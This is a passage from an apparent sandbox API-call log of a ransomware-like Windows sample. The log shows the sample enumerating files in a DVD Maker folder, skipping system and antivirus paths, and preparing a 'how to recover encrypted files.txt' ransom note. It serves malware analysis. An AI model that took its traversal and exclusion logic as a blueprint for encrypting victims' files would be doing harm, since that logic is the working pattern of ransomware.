cAlternateFileName="Q䱠@嚔U企@\x18?T\x18\x8f")) returned 0xffffffff [0057.230] GetLastError () returned 0x2 [0057.231] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.231] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.231] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵\x18") returned 7 [0057.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ⶔR企@\x18?T\x18\x97")) returned 0xffffffff [0057.231] GetLastError () returned 0x2 [0057.231] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.231] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.231] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.231] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.231] GlobalUnlock (hMem=0x44000c) returned 0 [0057.231] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.231] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.231] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.231] GlobalUnlock (hMem=0x44000c) returned 0 [0057.232] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.232] GlobalUnlock (hMem=0x440004) returned 0 [0057.232] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.232] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.232] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.232] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 46 [0057.232] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.232] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 15 [0057.232] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.232] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 11 [0057.233] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.233] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.233] GlobalUnlock (hMem=0x440004) returned 0 [0057.233] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.233] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.233] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.233] GlobalUnlock (hMem=0x440004) returned 0 [0057.233] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.233] GlobalUnlock (hMem=0x44000c) returned 0 [0057.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 15 [0057.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 11 [0057.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 9 [0057.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 18 [0057.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 28 [0057.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 10 [0057.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 8 [0057.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 9 [0057.235] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 13 [0057.235] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.235] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.235] GlobalUnlock (hMem=0x44000c) returned 0 [0057.235] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.235] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.235] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.235] GlobalUnlock (hMem=0x44000c) returned 0 [0057.235] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.235] GlobalUnlock (hMem=0x440004) returned 0 [0057.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.235] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.235] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0057.235] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0057.236] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.236] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.236] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.236] GlobalUnlock (hMem=0x440004) returned 0 [0057.236] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.236] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.236] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.236] GlobalUnlock (hMem=0x440004) returned 0 [0057.236] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.236] GlobalUnlock (hMem=0x44000c) returned 0 [0057.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.236] CharLowerBuffW (in: lpsz="DVDMaker.exe.mui", cchLength=0x10 | out: lpsz="dvdmaker.exe.mui") returned 0x10 [0057.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui", cchWideChar=49, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui", lpUsedDefaultChar=0x0) returned 49 [0057.237] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muir.exe.mui", lpUsedDefaultChar=0x0) returned 4 [0057.237] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0057.237] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.237] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.237] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.237] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.237] GlobalUnlock (hMem=0x44000c) returned 0 [0057.238] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.238] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.238] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.238] GlobalUnlock (hMem=0x44000c) returned 0 [0057.238] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.238] GlobalUnlock (hMem=0x440004) returned 0 [0057.238] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.238] CharLowerBuffW (in: lpsz="OmdProject.dll.mui", cchLength=0x12 | out: lpsz="omdproject.dll.mui") returned 0x12 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui", cchWideChar=51, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui", lpUsedDefaultChar=0x0) returned 51 [0057.245] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiect.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0057.245] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0057.245] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.245] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.245] GlobalLock 